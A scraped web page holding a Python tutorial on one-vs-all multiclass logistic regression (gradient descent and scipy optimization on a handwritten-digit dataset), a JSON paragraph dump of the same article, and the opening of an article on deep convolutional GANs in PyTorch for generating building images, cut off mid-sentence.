"s": 26545, "text": "Python Dictionary" }, { "code": null, "e": 26595, "s": 26563, "text": "How to Install PIP on Windows ?" }, { "code": null, "e": 26630, "s": 26595, "text": "Read a file line by line in Python" }, { "code": null, "e": 26672, "s": 26630, "text": "Different ways to create Pandas Dataframe" }, { "code": null, "e": 26715, "s": 26672, "text": "Python program to convert a list to string" }, { "code": null, "e": 26758, "s": 26715, "text": "Python program to convert a list to string" }, { "code": null, "e": 26780, "s": 26758, "text": "Defaultdict in Python" }, { "code": null, "e": 26819, "s": 26780, "text": "Python | Get dictionary keys as a list" }, { "code": null, "e": 26865, "s": 26819, "text": "Python | Split string into list of characters" } ]
Multiclass Classification Using Logistic Regression from Scratch in Python: Step by Step Guide | by Rashida Nasrin Sucky | Towards Data Science
Logistic regression is a very popular machine learning technique. We use logistic regression when the dependent variable is categorical. This article will focus on the implementation of logistic regression for multiclass classification problems. I am assuming that you already know how to implement a binary classification with Logistic Regression. If you haven’t worked on binary classification with logistic regression yet, I suggest, please go through this article before you dive into this one. Because multiclass classification is built on the binary classification. You will learn the concepts, formulas, and a working example of binary classification in this article: towardsdatascience.com The implementation of Multiclass classification follows the same ideas as the binary classification. As you know in binary classification, we solve a yes or no problem. Like in the example in the above-mentioned article, the output answered the question if a person has heart disease or not. We had only two classes: heart disease and no heart disease. If the output is 1, the person has heart disease, and if the output is 0 the person does not have heart disease. In multi-class classification, we have more than two classes. Here is an example. Say, we have different features and characteristics of cars, trucks, bikes, and boats as input features. Our job is to predict the label(car, truck, bike, or boat). How to solve this? We will treat each class as a binary classification problem the way we solved a heart disease or no heart disease problem. This approach is called the one vs all method In the one vs all method, when we work with a class, that class is denoted by 1 and the rest of the classes becomes 0. For example, if we have four classes: cars, trucks, bikes, and boats. When we will work on the car, we will use the car as 1 and the rest of the classes as zeros. Again, when we will work on the truck, the element of the truck will be one, and the rest of the classes will be zeros. It will be more understandable when you will implement it. I suggest, you keep coding and running the codes as you read. Here I will implement this algorithm in two different ways: The gradient descent approach. The gradient descent approach. 2. The optimization function approach. Important equations and how it works: Logistic regression uses a sigmoid function to predict the output. The sigmoid function returns a value from 0 to 1. Generally, we take a threshold such as 0.5. If the sigmoid function returns a value greater than or equal to 0.5, we take it as 1, and if the sigmoid function returns a value less than 0.5, we take it as 0. z is the input features multiplied by a randomly initialized value denoted as theta. Here, X is the input feature. In most cases, there are several input features. So, this formula becomes big: X1, X2, X3 are input features and one theta will be randomly initialized for each input feature. Theta0 in the beginning is the bias term. The goal of this algorithm will be to update this theta with each iteration so that it can establish a relationship between the input features and the output label. Cost Function and Gradient Descent The cost function gives the idea that how far is our prediction from the original output. Here is the formula for that: Here, m is the number of training examples or the number of training data, y is the original output label, h is the hypothesis or the predicted output. This is the equation for the gradient descent. Using this formula, we will update the theta values in each iteration: Prerequisites: a. You need to be able to read and write python code comfortably. b. Basic Numpy and Pandas libraries. Here I am going to show the implementation step by step. Import the necessary packages and the dataset. I took the dataset from Andrew Ng’s Machine Learning course in Coursera. This is a handwriting recognition dataset. There are digits from 1 to 10. Import the necessary packages and the dataset. I took the dataset from Andrew Ng’s Machine Learning course in Coursera. This is a handwriting recognition dataset. There are digits from 1 to 10. From the dataset of pixels, we need to recognize the digits. In this dataset input variables and output-variables are organized in different sheets in an Excel file. Please feel free to download the dataset from the link at the end of this page. Please run each piece of code if you are reading this to learn this algorithm. Let’s import the necessary packages and the dataset, import pandas as pdimport numpy as npxl = pd.ExcelFile('ex3d1.xlsx')df = pd.read_excel(xl, 'X', header=None) 2. Import y, which is the output variable y = pd.read_excel(xl, 'y', header = None) 3. Define the hypothesis that takes the input variables and theta. It returns the calculated output variable. def hypothesis(theta, X): return 1 / (1 + np.exp(-(np.dot(theta, X.T)))) - 0.0000001 4. Build the cost function that takes the input variables, output variable, and theta. It returns the cost of the hypothesis. That means it gives the idea about how far the prediction is from the original outputs. def cost(X, y, theta): y1 = hypothesis(X, theta) return -(1/len(X)) * np.sum(y*np.log(y1) + (1-y)*np.log(1-y1)) 5. Now, it’s time for data preprocessing. The data is clean. Not much preprocessing is required. We need to add a bias column in the input variables. Please check the length of df and y. If the length is different, the model will not work. print(len(df))print(len(y))X = pd.concat([pd.Series(1, index=df.index, name='00'), df], axis=1) 6. y column has the digits from 1 to 10. That means we have 10 classes. y is a DataFrame which is not necessary. I will only keep the column as a Series that contains the value. y = y.iloc[:, 0] We will make one column for each of the classes with the same length as y. When the class is 5, make a column that has 1 for the rows with 5 and 0 otherwise. Check, how many classes we have, y.unique() output: array([10, 1, 2, 3, 4, 5, 6, 7, 8, 9], dtype=int64) So, we have 10 classes. Initiate a DataFrame that has 10 columns and df.shape[0] number of rows. y1 = np.zeros([df.shape[0], len(y.unique())])y1 = pd.DataFrame(y1) We will do it programmatically with some simple code: for i in range(0, len(y.unique())): for j in range(0, len(y1)): if y[j] == y.unique()[i]: y1.iloc[j, i] = 1 else: y1.iloc[j, i] = 0y1.head() 7. Define the function ‘gradient_descent’ now. This function will take input variables, output variable, theta, alpha, and the number of epochs as the parameter. Here, alpha is the learning rate. You should choose it as per your requirement. A too small or too big learning rate can make your algorithm slow. I like to run the algorithm for different learning rates and get the idea of the right learning rate. It may take a few iterations to select the right learning rate. For each of the columns in y1, we will implement a binary classification. For example, when I am considering the digit 2, it should return 1 for digit 2 and 0 for the rest of the digits. So, as we have 10 classes, we have run each epoch(iteration) 10 times. So, we have a nested for loop here. def gradient_descent(X, y, theta, alpha, epochs): m = len(X) for i in range(0, epochs): for j in range(0, 10): theta = pd.DataFrame(theta) h = hypothesis(theta.iloc[:,j], X) for k in range(0, theta.shape[0]): theta.iloc[k, j] -= (alpha/m) * np.sum((h-y.iloc[:, j])*X.iloc[:, k]) theta = pd.DataFrame(theta) return theta, cost 7. Initialize the theta. Remember, we will implement logistic regression for each class. There will be a series of theta for each class as well. I am running this for 1500 epochs. I am sure the accuracy rate will be higher with more epochs. theta = np.zeros([df.shape[1]+1, y1.shape[1]])theta = gradient_descent(X, y1, theta, 0.02, 1500) 8. With this updated theta, calculate the output variable. output = []for i in range(0, 10): theta1 = pd.DataFrame(theta) h = hypothesis(theta1.iloc[:,i], X) output.append(h)output=pd.DataFrame(output) 9. Compare the calculated output and the original output variable to calculate the accuracy of the model. accuracy = 0for col in range(0, 10): for row in range(len(y1)): if y1.iloc[row, col] == 1 and output.iloc[col, row] >= 0.5: accuracy += 1accuracy = accuracy/len(X) The accuracy is 72%. I am sure, accuracy will be better for more epochs. Because it takes so much time, I did not rerun the algorithm. If you are running this, feel free to try for more epochs and let me know in the comment section, how much accuracy, you have got. Instead of a gradient descent approach, you can also use an optimization function already built-in for you. In this approach, you use an optimization function to optimize the theta for the algorithm. It’s a lot faster approach. 1. We are going to use the same datasets as before. Import the dataset with a different name if you are using the same notebook: xls = pd.ExcelFile('ex3d1.xlsx')df = pd.read_excel(xls, 'X', header=None) 2. We still need to add a column of all ones for the bias term in df. X = np.c_[np.ones((df.shape[0], 1)), df] 3. Import the data for ‘y’. y = pd.read_excel(xls, 'y', header=None) As this is a DataFrame, just take the column zero as a series and make it two -dimensional to match the dimension with the dimension of X. y = y[0]y = y[:, np.newaxis] Here, ‘y’ has one column only. Make it 10 columns for 10 classes. Each column will deal with one class. For example, when we will deal with class 10, we will keep 10 in its place and replace the rest of the values with zeros. Here is the function y_change that will take y itself and a class(such as 3). Then it will replace 3 with 1 and 0 with all other classes. This function will be used soon in the later steps. def y_change(y, cl): y_pr=[] for i in range(0, len(y)): if y[i] == cl: y_pr.append(1) else: y_pr.append(0) return y_pr Data preparation is completed. Now develop the model: 4. Define the hypothesis function. This is the same as the previous method. def hypothesis(X, theta): z = np.dot(X, theta) return 1/(1+np.exp(-(z))) 5. Develop the cost function. This one is also the same as the previous method: def cost_function(theta, X, y): m = X.shape[0] y1 = hypothesis(X, theta) return -(1/len(X)) * np.sum(y*np.log(y1) + (1-y)*np.log(1-y1)) 6. Define the gradient. This one is different. This function defines how to update the theta. def gradient(theta, X, y): m = X.shape[0] y1 = hypothesis(X, theta) return (1/m) * np.dot(X.T, y1 - y) 7. Now, import the optimization function and initialize the theta. I am taking zeros as initial theta values. Any other values should work as well. from scipy.optimize import minimize, fmin_tnctheta = np.zeros((X.shape[1], 1)) 8. Let’s make a fit function that will take X, y, and theta as input. It will use an optimization function and output the optimized theta for us. It takes these three parameters: i. A function that needs to be minimized, ii. A parameter to be optimized and, iii. Arguments to use for optimization. In this example, cost function should be minimized and theta needs to be optimized for that. Input and output variables X and y are the arguments to use. This optimization function takes another parameter, that is the gradient. But this is optional. Here, we have a formula or function for the gradient. So we are passing it. def fit(X, y, theta): opt_weigths = fmin_tnc(func=cost_function, x0=theta, fprime=gradient, args=(X, y.flatten())) return opt_weigths[0] 9. Use this fit method to find the optimized theta. We have to optimize the theta for each class separately. Let’s develop a function where for each class, ‘y’ will be modified accordingly using the y_change method in step 3. def find_param(X, y, theta): y_uniq = list(set(y.flatten())) theta_list = [] for i in y_uniq: y_tr = pd.Series(y_change(y, i)) y_tr = y_tr[:, np.newaxis] theta1 = fit(X, y, theta) theta_list.append(theta1) return theta_list Use this method to find the final theta theta_list = find_param(X, y, theta) 10. It’s time to predict the output. We have to predict the classes individually as well. def predict(theta_list, x, y): y_uniq = list(set(y.flatten())) y_hat = [0]*len(y) for i in range(0, len(y_uniq)): y_tr = y_change(y, y_uniq[i]) y1 = hypothesis(X, theta_list[i]) for k in range(0, len(y)): if y_tr[k] == 1 and y1[k] >= 0.5: y_hat[k] = y_uniq[i] return y_hat Use the predict method above and calculate the predicted output y_hat: y_hat = predict(theta_list, X, y) 11. Calculate the accuracy accuracy=0for i in range(0, len(y)): if y_hat[i] == y.flatten()[i]: accuracy += 1print(accuracy/len(df)*100) This process gives a 100% accuracy. Now. you decide for yourself, which method of logistic regression you want to use for your projects. This same problem is solved using a neural network as well in this article that shows how to develop a neural network from scratch: medium.com Please ask me if you have any questions in the comment section. Check this GitHub page for the dataset: github.com Here is the link for the code of the gradient descent method github.com Here is the link for the Github link of the optimization function method:
[ { "code": null, "e": 520, "s": 171, "text": "Logistic regression is a very popular machine learning technique. We use logistic regression when the dependent variable is categorical. This article will focus on the implementation of logistic regression for multiclass classification problems. I am assuming that you already know how to implement a binary classification with Logistic Regression." }, { "code": null, "e": 670, "s": 520, "text": "If you haven’t worked on binary classification with logistic regression yet, I suggest, please go through this article before you dive into this one." }, { "code": null, "e": 743, "s": 670, "text": "Because multiclass classification is built on the binary classification." }, { "code": null, "e": 846, "s": 743, "text": "You will learn the concepts, formulas, and a working example of binary classification in this article:" }, { "code": null, "e": 869, "s": 846, "text": "towardsdatascience.com" }, { "code": null, "e": 1222, "s": 869, "text": "The implementation of Multiclass classification follows the same ideas as the binary classification. As you know in binary classification, we solve a yes or no problem. Like in the example in the above-mentioned article, the output answered the question if a person has heart disease or not. We had only two classes: heart disease and no heart disease." }, { "code": null, "e": 1335, "s": 1222, "text": "If the output is 1, the person has heart disease, and if the output is 0 the person does not have heart disease." }, { "code": null, "e": 1582, "s": 1335, "text": "In multi-class classification, we have more than two classes. Here is an example. Say, we have different features and characteristics of cars, trucks, bikes, and boats as input features. Our job is to predict the label(car, truck, bike, or boat)." }, { "code": null, "e": 1601, "s": 1582, "text": "How to solve this?" }, { "code": null, "e": 1724, "s": 1601, "text": "We will treat each class as a binary classification problem the way we solved a heart disease or no heart disease problem." }, { "code": null, "e": 1770, "s": 1724, "text": "This approach is called the one vs all method" }, { "code": null, "e": 1889, "s": 1770, "text": "In the one vs all method, when we work with a class, that class is denoted by 1 and the rest of the classes becomes 0." }, { "code": null, "e": 2172, "s": 1889, "text": "For example, if we have four classes: cars, trucks, bikes, and boats. When we will work on the car, we will use the car as 1 and the rest of the classes as zeros. Again, when we will work on the truck, the element of the truck will be one, and the rest of the classes will be zeros." }, { "code": null, "e": 2293, "s": 2172, "text": "It will be more understandable when you will implement it. I suggest, you keep coding and running the codes as you read." }, { "code": null, "e": 2353, "s": 2293, "text": "Here I will implement this algorithm in two different ways:" }, { "code": null, "e": 2384, "s": 2353, "text": "The gradient descent approach." }, { "code": null, "e": 2415, "s": 2384, "text": "The gradient descent approach." }, { "code": null, "e": 2454, "s": 2415, "text": "2. The optimization function approach." }, { "code": null, "e": 2492, "s": 2454, "text": "Important equations and how it works:" }, { "code": null, "e": 2816, "s": 2492, "text": "Logistic regression uses a sigmoid function to predict the output. The sigmoid function returns a value from 0 to 1. Generally, we take a threshold such as 0.5. If the sigmoid function returns a value greater than or equal to 0.5, we take it as 1, and if the sigmoid function returns a value less than 0.5, we take it as 0." }, { "code": null, "e": 2901, "s": 2816, "text": "z is the input features multiplied by a randomly initialized value denoted as theta." }, { "code": null, "e": 3010, "s": 2901, "text": "Here, X is the input feature. In most cases, there are several input features. So, this formula becomes big:" }, { "code": null, "e": 3149, "s": 3010, "text": "X1, X2, X3 are input features and one theta will be randomly initialized for each input feature. Theta0 in the beginning is the bias term." }, { "code": null, "e": 3314, "s": 3149, "text": "The goal of this algorithm will be to update this theta with each iteration so that it can establish a relationship between the input features and the output label." }, { "code": null, "e": 3349, "s": 3314, "text": "Cost Function and Gradient Descent" }, { "code": null, "e": 3469, "s": 3349, "text": "The cost function gives the idea that how far is our prediction from the original output. Here is the formula for that:" }, { "code": null, "e": 3475, "s": 3469, "text": "Here," }, { "code": null, "e": 3544, "s": 3475, "text": "m is the number of training examples or the number of training data," }, { "code": null, "e": 3576, "s": 3544, "text": "y is the original output label," }, { "code": null, "e": 3621, "s": 3576, "text": "h is the hypothesis or the predicted output." }, { "code": null, "e": 3739, "s": 3621, "text": "This is the equation for the gradient descent. Using this formula, we will update the theta values in each iteration:" }, { "code": null, "e": 3754, "s": 3739, "text": "Prerequisites:" }, { "code": null, "e": 3820, "s": 3754, "text": "a. You need to be able to read and write python code comfortably." }, { "code": null, "e": 3857, "s": 3820, "text": "b. Basic Numpy and Pandas libraries." }, { "code": null, "e": 3914, "s": 3857, "text": "Here I am going to show the implementation step by step." }, { "code": null, "e": 4108, "s": 3914, "text": "Import the necessary packages and the dataset. I took the dataset from Andrew Ng’s Machine Learning course in Coursera. This is a handwriting recognition dataset. There are digits from 1 to 10." }, { "code": null, "e": 4302, "s": 4108, "text": "Import the necessary packages and the dataset. I took the dataset from Andrew Ng’s Machine Learning course in Coursera. This is a handwriting recognition dataset. There are digits from 1 to 10." }, { "code": null, "e": 4548, "s": 4302, "text": "From the dataset of pixels, we need to recognize the digits. In this dataset input variables and output-variables are organized in different sheets in an Excel file. Please feel free to download the dataset from the link at the end of this page." }, { "code": null, "e": 4627, "s": 4548, "text": "Please run each piece of code if you are reading this to learn this algorithm." }, { "code": null, "e": 4680, "s": 4627, "text": "Let’s import the necessary packages and the dataset," }, { "code": null, "e": 4789, "s": 4680, "text": "import pandas as pdimport numpy as npxl = pd.ExcelFile('ex3d1.xlsx')df = pd.read_excel(xl, 'X', header=None)" }, { "code": null, "e": 4831, "s": 4789, "text": "2. Import y, which is the output variable" }, { "code": null, "e": 4873, "s": 4831, "text": "y = pd.read_excel(xl, 'y', header = None)" }, { "code": null, "e": 4983, "s": 4873, "text": "3. Define the hypothesis that takes the input variables and theta. It returns the calculated output variable." }, { "code": null, "e": 5071, "s": 4983, "text": "def hypothesis(theta, X): return 1 / (1 + np.exp(-(np.dot(theta, X.T)))) - 0.0000001" }, { "code": null, "e": 5285, "s": 5071, "text": "4. Build the cost function that takes the input variables, output variable, and theta. It returns the cost of the hypothesis. That means it gives the idea about how far the prediction is from the original outputs." }, { "code": null, "e": 5403, "s": 5285, "text": "def cost(X, y, theta): y1 = hypothesis(X, theta) return -(1/len(X)) * np.sum(y*np.log(y1) + (1-y)*np.log(1-y1))" }, { "code": null, "e": 5445, "s": 5403, "text": "5. Now, it’s time for data preprocessing." }, { "code": null, "e": 5643, "s": 5445, "text": "The data is clean. Not much preprocessing is required. We need to add a bias column in the input variables. Please check the length of df and y. If the length is different, the model will not work." }, { "code": null, "e": 5739, "s": 5643, "text": "print(len(df))print(len(y))X = pd.concat([pd.Series(1, index=df.index, name='00'), df], axis=1)" }, { "code": null, "e": 5811, "s": 5739, "text": "6. y column has the digits from 1 to 10. That means we have 10 classes." }, { "code": null, "e": 5917, "s": 5811, "text": "y is a DataFrame which is not necessary. I will only keep the column as a Series that contains the value." }, { "code": null, "e": 5934, "s": 5917, "text": "y = y.iloc[:, 0]" }, { "code": null, "e": 6092, "s": 5934, "text": "We will make one column for each of the classes with the same length as y. When the class is 5, make a column that has 1 for the rows with 5 and 0 otherwise." }, { "code": null, "e": 6125, "s": 6092, "text": "Check, how many classes we have," }, { "code": null, "e": 6136, "s": 6125, "text": "y.unique()" }, { "code": null, "e": 6144, "s": 6136, "text": "output:" }, { "code": null, "e": 6205, "s": 6144, "text": "array([10, 1, 2, 3, 4, 5, 6, 7, 8, 9], dtype=int64)" }, { "code": null, "e": 6302, "s": 6205, "text": "So, we have 10 classes. Initiate a DataFrame that has 10 columns and df.shape[0] number of rows." }, { "code": null, "e": 6369, "s": 6302, "text": "y1 = np.zeros([df.shape[0], len(y.unique())])y1 = pd.DataFrame(y1)" }, { "code": null, "e": 6423, "s": 6369, "text": "We will do it programmatically with some simple code:" }, { "code": null, "e": 6604, "s": 6423, "text": "for i in range(0, len(y.unique())): for j in range(0, len(y1)): if y[j] == y.unique()[i]: y1.iloc[j, i] = 1 else: y1.iloc[j, i] = 0y1.head()" }, { "code": null, "e": 6800, "s": 6604, "text": "7. Define the function ‘gradient_descent’ now. This function will take input variables, output variable, theta, alpha, and the number of epochs as the parameter. Here, alpha is the learning rate." }, { "code": null, "e": 7079, "s": 6800, "text": "You should choose it as per your requirement. A too small or too big learning rate can make your algorithm slow. I like to run the algorithm for different learning rates and get the idea of the right learning rate. It may take a few iterations to select the right learning rate." }, { "code": null, "e": 7153, "s": 7079, "text": "For each of the columns in y1, we will implement a binary classification." }, { "code": null, "e": 7373, "s": 7153, "text": "For example, when I am considering the digit 2, it should return 1 for digit 2 and 0 for the rest of the digits. So, as we have 10 classes, we have run each epoch(iteration) 10 times. So, we have a nested for loop here." }, { "code": null, "e": 7774, "s": 7373, "text": "def gradient_descent(X, y, theta, alpha, epochs): m = len(X) for i in range(0, epochs): for j in range(0, 10): theta = pd.DataFrame(theta) h = hypothesis(theta.iloc[:,j], X) for k in range(0, theta.shape[0]): theta.iloc[k, j] -= (alpha/m) * np.sum((h-y.iloc[:, j])*X.iloc[:, k]) theta = pd.DataFrame(theta) return theta, cost" }, { "code": null, "e": 7919, "s": 7774, "text": "7. Initialize the theta. Remember, we will implement logistic regression for each class. There will be a series of theta for each class as well." }, { "code": null, "e": 8015, "s": 7919, "text": "I am running this for 1500 epochs. I am sure the accuracy rate will be higher with more epochs." }, { "code": null, "e": 8112, "s": 8015, "text": "theta = np.zeros([df.shape[1]+1, y1.shape[1]])theta = gradient_descent(X, y1, theta, 0.02, 1500)" }, { "code": null, "e": 8171, "s": 8112, "text": "8. With this updated theta, calculate the output variable." }, { "code": null, "e": 8323, "s": 8171, "text": "output = []for i in range(0, 10): theta1 = pd.DataFrame(theta) h = hypothesis(theta1.iloc[:,i], X) output.append(h)output=pd.DataFrame(output)" }, { "code": null, "e": 8429, "s": 8323, "text": "9. Compare the calculated output and the original output variable to calculate the accuracy of the model." }, { "code": null, "e": 8614, "s": 8429, "text": "accuracy = 0for col in range(0, 10): for row in range(len(y1)): if y1.iloc[row, col] == 1 and output.iloc[col, row] >= 0.5: accuracy += 1accuracy = accuracy/len(X)" }, { "code": null, "e": 8749, "s": 8614, "text": "The accuracy is 72%. I am sure, accuracy will be better for more epochs. Because it takes so much time, I did not rerun the algorithm." }, { "code": null, "e": 8880, "s": 8749, "text": "If you are running this, feel free to try for more epochs and let me know in the comment section, how much accuracy, you have got." }, { "code": null, "e": 8988, "s": 8880, "text": "Instead of a gradient descent approach, you can also use an optimization function already built-in for you." }, { "code": null, "e": 9108, "s": 8988, "text": "In this approach, you use an optimization function to optimize the theta for the algorithm. It’s a lot faster approach." }, { "code": null, "e": 9237, "s": 9108, "text": "1. We are going to use the same datasets as before. Import the dataset with a different name if you are using the same notebook:" }, { "code": null, "e": 9311, "s": 9237, "text": "xls = pd.ExcelFile('ex3d1.xlsx')df = pd.read_excel(xls, 'X', header=None)" }, { "code": null, "e": 9381, "s": 9311, "text": "2. We still need to add a column of all ones for the bias term in df." }, { "code": null, "e": 9422, "s": 9381, "text": "X = np.c_[np.ones((df.shape[0], 1)), df]" }, { "code": null, "e": 9450, "s": 9422, "text": "3. Import the data for ‘y’." }, { "code": null, "e": 9491, "s": 9450, "text": "y = pd.read_excel(xls, 'y', header=None)" }, { "code": null, "e": 9630, "s": 9491, "text": "As this is a DataFrame, just take the column zero as a series and make it two -dimensional to match the dimension with the dimension of X." }, { "code": null, "e": 9659, "s": 9630, "text": "y = y[0]y = y[:, np.newaxis]" }, { "code": null, "e": 10075, "s": 9659, "text": "Here, ‘y’ has one column only. Make it 10 columns for 10 classes. Each column will deal with one class. For example, when we will deal with class 10, we will keep 10 in its place and replace the rest of the values with zeros. Here is the function y_change that will take y itself and a class(such as 3). Then it will replace 3 with 1 and 0 with all other classes. This function will be used soon in the later steps." }, { "code": null, "e": 10239, "s": 10075, "text": "def y_change(y, cl): y_pr=[] for i in range(0, len(y)): if y[i] == cl: y_pr.append(1) else: y_pr.append(0) return y_pr" }, { "code": null, "e": 10293, "s": 10239, "text": "Data preparation is completed. Now develop the model:" }, { "code": null, "e": 10369, "s": 10293, "text": "4. Define the hypothesis function. This is the same as the previous method." }, { "code": null, "e": 10448, "s": 10369, "text": "def hypothesis(X, theta): z = np.dot(X, theta) return 1/(1+np.exp(-(z)))" }, { "code": null, "e": 10528, "s": 10448, "text": "5. Develop the cost function. This one is also the same as the previous method:" }, { "code": null, "e": 10673, "s": 10528, "text": "def cost_function(theta, X, y): m = X.shape[0] y1 = hypothesis(X, theta) return -(1/len(X)) * np.sum(y*np.log(y1) + (1-y)*np.log(1-y1))" }, { "code": null, "e": 10767, "s": 10673, "text": "6. Define the gradient. This one is different. This function defines how to update the theta." }, { "code": null, "e": 10879, "s": 10767, "text": "def gradient(theta, X, y): m = X.shape[0] y1 = hypothesis(X, theta) return (1/m) * np.dot(X.T, y1 - y)" }, { "code": null, "e": 11027, "s": 10879, "text": "7. Now, import the optimization function and initialize the theta. I am taking zeros as initial theta values. Any other values should work as well." }, { "code": null, "e": 11106, "s": 11027, "text": "from scipy.optimize import minimize, fmin_tnctheta = np.zeros((X.shape[1], 1))" }, { "code": null, "e": 11252, "s": 11106, "text": "8. Let’s make a fit function that will take X, y, and theta as input. It will use an optimization function and output the optimized theta for us." }, { "code": null, "e": 11285, "s": 11252, "text": "It takes these three parameters:" }, { "code": null, "e": 11327, "s": 11285, "text": "i. A function that needs to be minimized," }, { "code": null, "e": 11364, "s": 11327, "text": "ii. A parameter to be optimized and," }, { "code": null, "e": 11404, "s": 11364, "text": "iii. Arguments to use for optimization." }, { "code": null, "e": 11558, "s": 11404, "text": "In this example, cost function should be minimized and theta needs to be optimized for that. Input and output variables X and y are the arguments to use." }, { "code": null, "e": 11730, "s": 11558, "text": "This optimization function takes another parameter, that is the gradient. But this is optional. Here, we have a formula or function for the gradient. So we are passing it." }, { "code": null, "e": 11898, "s": 11730, "text": "def fit(X, y, theta): opt_weigths = fmin_tnc(func=cost_function, x0=theta, fprime=gradient, args=(X, y.flatten())) return opt_weigths[0]" }, { "code": null, "e": 12124, "s": 11898, "text": "9. Use this fit method to find the optimized theta. We have to optimize the theta for each class separately. Let’s develop a function where for each class, ‘y’ will be modified accordingly using the y_change method in step 3." }, { "code": null, "e": 12388, "s": 12124, "text": "def find_param(X, y, theta): y_uniq = list(set(y.flatten())) theta_list = [] for i in y_uniq: y_tr = pd.Series(y_change(y, i)) y_tr = y_tr[:, np.newaxis] theta1 = fit(X, y, theta) theta_list.append(theta1) return theta_list" }, { "code": null, "e": 12428, "s": 12388, "text": "Use this method to find the final theta" }, { "code": null, "e": 12465, "s": 12428, "text": "theta_list = find_param(X, y, theta)" }, { "code": null, "e": 12555, "s": 12465, "text": "10. It’s time to predict the output. We have to predict the classes individually as well." }, { "code": null, "e": 12887, "s": 12555, "text": "def predict(theta_list, x, y): y_uniq = list(set(y.flatten())) y_hat = [0]*len(y) for i in range(0, len(y_uniq)): y_tr = y_change(y, y_uniq[i]) y1 = hypothesis(X, theta_list[i]) for k in range(0, len(y)): if y_tr[k] == 1 and y1[k] >= 0.5: y_hat[k] = y_uniq[i] return y_hat" }, { "code": null, "e": 12958, "s": 12887, "text": "Use the predict method above and calculate the predicted output y_hat:" }, { "code": null, "e": 12992, "s": 12958, "text": "y_hat = predict(theta_list, X, y)" }, { "code": null, "e": 13019, "s": 12992, "text": "11. Calculate the accuracy" }, { "code": null, "e": 13138, "s": 13019, "text": "accuracy=0for i in range(0, len(y)): if y_hat[i] == y.flatten()[i]: accuracy += 1print(accuracy/len(df)*100)" }, { "code": null, "e": 13275, "s": 13138, "text": "This process gives a 100% accuracy. Now. you decide for yourself, which method of logistic regression you want to use for your projects." }, { "code": null, "e": 13407, "s": 13275, "text": "This same problem is solved using a neural network as well in this article that shows how to develop a neural network from scratch:" }, { "code": null, "e": 13418, "s": 13407, "text": "medium.com" }, { "code": null, "e": 13522, "s": 13418, "text": "Please ask me if you have any questions in the comment section. Check this GitHub page for the dataset:" }, { "code": null, "e": 13533, "s": 13522, "text": "github.com" }, { "code": null, "e": 13594, "s": 13533, "text": "Here is the link for the code of the gradient descent method" }, { "code": null, "e": 13605, "s": 13594, "text": "github.com" } ]
Drawing Architecture: Building Deep Convolutional GAN’s In Pytorch | by Emily Elia | Towards Data Science
What I cannot create, I do not understand. Richard Feynman Feynman did not create GAN’s, unsupervised learning, or adversarial training, but with this quote he did demonstrate that intelligence and the ability to understand something is not merely a supervised, discriminative task. In order to understand something you must do more than give it a label based on something similar that you have seen a million times— to understand what you are looking at you must be able to recreate it. The ability to create is what sets general adversarial networks apart from their predecessors in deep learning. GAN’s are generative models that generate output; this is a departure from discriminative models that label input. This makes them a powerful paradigm shifting force in deep learning and artificial intelligence that is worthy of the hype that Yan Lecun and the other fathers of deep learning have given it. The potential for GAN’s surpasses that of discriminative networks because GAN’s use deep learning to synthesize information and to create something novel from it. As Feynman said, this is the most impactful form of understanding that there is. In this post I will go over how to use a deep convolutional GAN to create architecture (exteriors of buildings). I wanted to have the experience using and creating a dataset that was not automatically built in — like Imagnet and MINST — and fine tuning it to create realistic looking facades. The dataset I worked with is here. I also augmented the dataset by scraping additional images off of the web. General adversarial networks are two neural networks competing against each other to create an output that closely resembles the input. These two networks — the generator and the discriminator— are playing adversarial roles. The generator network creates a new image from random noise based off of the input image. The random noise evolves from incoherent pixels to a coherent image with discernible forms in it because of how the discriminator told it to change. The discriminator network determines if the image is real or fake. The goal of the GAN is for the generator image to be so like the real image that it is able to trick the discriminator into thinking that the generated image is real. One of the most important features of GANs, is that the neural networks implemented in GANs use a number of parameters significantly smaller than the amount data used to train them. This forces the model to learn and internalize the most important features in the data so the model can generate them. In order to better understand this, lets look at the analogy that Ian Goodfellow and his colleagues used when they published the original paper in 2014. The generator is like a team of forgers trying to create an output that matches the real paintings (the input), while the discriminator is like a team of detectives trying to determine the difference between the real image and the fake image. For each iteration of the algorithm, the generator never gets to see the original input, instead, it sees the latent random variable (visual noise based off of the real input images) and the judgements of the discriminator. The generator is like a blind forger trying to recreate the Mona Lisa by being given the paint and then she is told by the detective how to use it. The picture that the forger paints looks more and more like the Mona Lisa after each iteration. Vanilla GAN architectures are powerful but, this architecture does not allow for any real spatial reasoning since it relies on a feedforward neural network to extract features from an image rather than a convolutional neural network. Feedforward neural networks are unable to reason about features such as sharp edges and accentuated curves because they do not preserve the spatial structure of the image. Convolutional layers preserve the spatial structure of an image which means that the most accurate, detailed features will be extracted from an image. This gives both the generator and the discriminator more advanced spatial reasoning abilities about the output they will generate and about how to discriminate between the features in the real images and the features in the fake images. The enhanced quality of the features extracted is typically why DCGAN’s are used when dealing with images. Both the generator and the discriminator will be a convolutional neural network. The discriminator has a vanilla CNN architecture since it is performing the discriminative, supervised task of classifying images. The generator will have a modified convolutional architecture like this: Pooling is replaced with convolutional stride. This allows the network to learn its own spatial downsampling (changing the size of the input). It doesn’t need to be set beforehand. No fully connected layer at the end of the CNN. The generator is not a classifier so this part is not needed. Batch normalization is used for every layer except the output layer for the generator and the input layer of the discriminator. This stabilizes the training process by standardizing the activations — prior layers have zero mean and unit variance — and the flow of the gradient. In the paper, the results showed that in the output layer in the generator and the input layer in the discriminator led to model instability and that is why batch norm is not used in those layers. Use ReLU in the generator except for the output which uses tanh. The symmetry of the tanh function allows the model to learn more quickly to saturate and cover the color space of the training distribution. The generator takes in random noise as input and samples the output of the discriminator in order to produce an image. This process can be thought of as mapping the noise to the input data distribution in order to produce an image. The generator architecture is a modified convolutional neural network comprised of ConvTranspose2d layers that have learnable parameters and the rest of the architecture like the one described above. nn.Sequential( nn.ConvTranspose2d( nz, ngf * 8, 4, 1, 0, bias=False), nn.BatchNorm2d(ngf * 8), nn.ReLU(True), nn.ConvTranspose2d(ngf * 8, ngf * 4, 4, 2, 1, bias=False), nn.BatchNorm2d(ngf * 4), nn.ReLU(True), nn.ConvTranspose2d( ngf * 4, ngf * 2, 4, 2, 1, bias=False), nn.BatchNorm2d(ngf * 2), nn.ReLU(True), nn.ConvTranspose2d( ngf * 2, ngf, 4, 2, 1, bias=False), nn.BatchNorm2d(ngf), nn.ReLU(True), nn.ConvTranspose2d( ngf, nc, 4, 2, 1, bias=False), nn.Tanh() ) In generative learning the machine attempts to generate new outputs from a complex probability distribution (the input). In deep learning this same idea is 